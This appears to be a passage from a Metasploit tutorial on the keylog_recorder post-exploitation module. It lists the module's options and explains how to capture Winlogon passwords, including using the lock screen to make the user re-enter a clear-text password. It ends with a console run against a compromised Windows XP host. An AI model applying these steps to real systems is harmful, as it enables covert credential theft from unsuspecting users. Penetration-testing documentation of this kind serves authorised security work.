keylog_recorder
The keylog_recorder post module captures keystrokes on the compromised system. Note that you will want to ensure that you have migrated to an interactive process prior to capturing keystrokes.

MIGRATE false no Perform Migration. PID no Process ID to migrate to SESSION yes The session to run this module on. Description: This module can be used to capture keystrokes. To capture keystrokes when the session is running as SYSTEM, the MIGRATE option must be enabled and the CAPTURE_TYPE option should be set to one of Explorer, Winlogon, or a specific PID. To capture the keystrokes of the interactive user, the Explorer option should be used with MIGRATE enabled. Keep in mind that this will demote this session to the user's privileges, so it makes sense to create a separate session for this task. The Winlogon option will capture the username and password entered into the logon and unlock dialog. The LOCKSCREEN option can be combined with the Winlogon CAPTURE_TYPE to for the user to enter their clear-text password. It is recommended to run this module as a job, otherwise it will tie up your framework user interface. msf post(keylog_recorder) > sessions -i 1 [*] Starting interaction with 1... meterpreter > run post/windows/capture/keylog_recorder [*] Executing module against V-MAC-XP [*] Starting the keystroke sniffer...

After we have finished sniffing keystrokes, or even while the sniffer is still running, we can dump the captured data.
